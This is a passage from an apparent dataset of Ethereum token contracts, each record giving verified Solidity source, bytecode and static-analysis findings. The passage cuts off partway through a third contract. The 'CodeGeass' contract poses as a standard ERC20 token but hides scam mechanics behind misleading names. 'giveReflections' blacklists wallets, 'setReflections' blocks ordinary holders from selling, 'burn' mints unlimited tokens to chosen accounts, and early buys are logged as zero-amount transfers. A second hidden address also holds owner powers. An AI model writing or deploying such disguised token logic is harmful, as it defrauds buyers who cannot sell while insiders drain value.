528060288152602001611c09602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611096565b610a6f565b5060019392505050565b6000546001600160a01b031633146107295760405162461bcd60e51b81526004016105fc90611a99565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107985760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105fc565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016105fc90611a99565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108385760405162461bcd60e51b81526004016105fc90611a99565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087657600080fd5b47610880816110d0565b50565b6001600160a01b0381166000908152600260205260408120546106909061110a565b6000546001600160a01b031633146108cf5760405162461bcd60e51b81526004016105fc90611a99565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109435760405162461bcd60e51b81526004016105fc90611a99565b601655565b6000546001600160a01b031633146109725760405162461bcd60e51b81526004016105fc90611a99565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ba5760405162461bcd60e51b81526004016105fc90611a99565b601855565b6000546001600160a01b031633146109e95760405162461bcd60e51b81526004016105fc90611a99565b600893909355600a91909155600955600b55565b600061068c338484610b93565b6013546001600160a01b0316336001600160a01b031614610a2a57600080fd5b6000610a3530610883565b90506108808161118e565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105fc90611a99565b601755565b6001600160a01b038316610ad15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fc565b6001600160a01b038216610b325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fc565b6001600160a01b038216610c595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fc565b60008111610cbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fc565b6000546001600160a01b03848116911614801590610ce757506000546001600160a01b03838116911614155b15610f8957601554600160a01b900460ff16610d8b576001600160a01b03831660009081526011602052604090205460ff16610d8b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fc565b601654811115610ddd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fc565b6001600160a01b03831660009081526010602052604090205460ff16158015610e1f57506001600160a01b03821660009081526010602052604090205460ff16155b610e775760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fc565b6015546001600160a01b03838116911614610efc5760175481610e9984610883565b610ea39190611b3e565b10610efc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fc565b6000610f0730610883565b601854601654919250821015908210610f205760165491505b808015610f375750601554600160a81b900460ff16155b8015610f5157506015546001600160a01b03868116911614155b8015610f665750601554600160b01b900460ff165b15610f8657610f748261118e565b478015610f8457610f84476110d0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fcb57506001600160a01b03831660009081526005602052604090205460ff165b80610ffd57506015546001600160a01b03858116911614801590610ffd57506015546001600160a01b03848116911614155b1561100a57506000611084565b6015546001600160a01b03858116911614801561103557506014546001600160a01b03848116911614155b1561104757600854600c55600954600d555b6015546001600160a01b03848116911614801561107257506014546001600160a01b03858116911614155b1561108457600a54600c55600b54600d555b61109084848484611333565b50505050565b600081848411156110ba5760405162461bcd60e51b81526004016105fc9190611a46565b5060006110c78486611b95565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561067b573d6000803e3d6000fd5b60006006548211156111715760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fc565b600061117b611361565b90506111878382611384565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123857600080fd5b505afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611829565b8160018151811061129157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112b79130911684610a6f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f0908590600090869030904290600401611ace565b600060405180830381600087803b15801561130a57600080fd5b505af115801561131e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611340576113406113c6565b61134b8484846113f4565b8061109057611090600e54600c55600f54600d55565b600080600061136e6114eb565b909250905061137d8282611384565b9250505090565b600061118783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152f565b600c541580156113d65750600d54155b156113dd57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114068761155d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143890876115ba565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146790866115fc565b6001600160a01b0389166000908152600260205260409020556114898161165b565b61149384836116a5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d891815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda10000006115088282611384565b8210156115265750506006549269d3c21bcecceda100000092509050565b90939092509050565b600081836115505760405162461bcd60e51b81526004016105fc9190611a46565b5060006110c78486611b56565b600080600080600080600080600061157a8a600c54600d546116c9565b925092509250600061158a611361565b9050600080600061159d8e87878761171e565b919e509c509a509598509396509194505050505091939550919395565b600061118783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611096565b6000806116098385611b3e565b9050838110156111875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fc565b6000611665611361565b90506000611673838361176e565b3060009081526002602052604090205490915061169090826115fc565b30600090815260026020526040902055505050565b6006546116b290836115ba565b6006556007546116c290826115fc565b6007555050565b60008080806116e360646116dd898961176e565b90611384565b905060006116f660646116dd8a8961176e565b9050600061170e826117088b866115ba565b906115ba565b9992985090965090945050505050565b600080808061172d888661176e565b9050600061173b888761176e565b90506000611749888861176e565b9050600061175b8261170886866115ba565b939b939a50919850919650505050505050565b60008261177d57506000610690565b60006117898385611b76565b9050826117968583611b56565b146111875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fc565b80356117f881611bf3565b919050565b803580151581146117f857600080fd5b60006020828403121561181e578081fd5b813561118781611bf3565b60006020828403121561183a578081fd5b815161118781611bf3565b60008060408385031215611857578081fd5b823561186281611bf3565b9150602083013561187281611bf3565b809150509250929050565b600080600060608486031215611891578081fd5b833561189c81611bf3565b925060208401356118ac81611bf3565b929592945050506040919091013590565b600080604083850312156118cf578182fd5b82356118da81611bf3565b91506118e8602084016117fd565b90509250929050565b60008060408385031215611903578182fd5b823561190e81611bf3565b946020939093013593505050565b6000602080838503121561192e578182fd5b823567ffffffffffffffff80821115611945578384fd5b818501915085601f830112611958578384fd5b81358181111561196a5761196a611bdd565b8060051b604051601f19603f8301168101818110858211171561198f5761198f611bdd565b604052828152858101935084860182860187018a10156119ad578788fd5b8795505b838610156119d6576119c2816117ed565b8552600195909501949386019386016119b1565b5098975050505050505050565b6000602082840312156119f4578081fd5b611187826117fd565b600060208284031215611a0e578081fd5b5035919050565b60008060008060808587031215611a2a578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7257858101830151858201604001528201611a56565b81811115611a835783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b1d5784516001600160a01b031683529383019391830191600101611af8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5157611b51611bc7565b500190565b600082611b7157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9057611b90611bc7565b500290565b600082821015611ba757611ba7611bc7565b500390565b6000600019821415611bc057611bc0611bc7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7f4d63c138a449486b4039ff8bfe26df7e3c166b3c97e49c3bda9a52dcd0e5864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,738
0x79d41a33521a777ad0f448b98c5773e45890e26b
/** *Submitted for verification at Etherscan.io on 2022-04-11 */ /* You have found the Geass */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract CodeGeass is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 1000000*10**18; string public _name = "Code Geass"; string public _symbol= "CODEG"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xd9638447D62C049714593708D3433EE694194692); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function toggleReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = false; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea2646970667358221220b4dd9b315062d140d01f61c6d831de88db812a95e552cbf62cd0e1e21e875d8a64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,739
0xc3c96FD50eB98CCd917684820faA2cd30550238c
//SPDX-License-Identifier: MIT // Telegram: t.me/ElonCatToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=1000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Elon Cat"; string constant TOKEN_SYMBOL="ELONCAT"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = 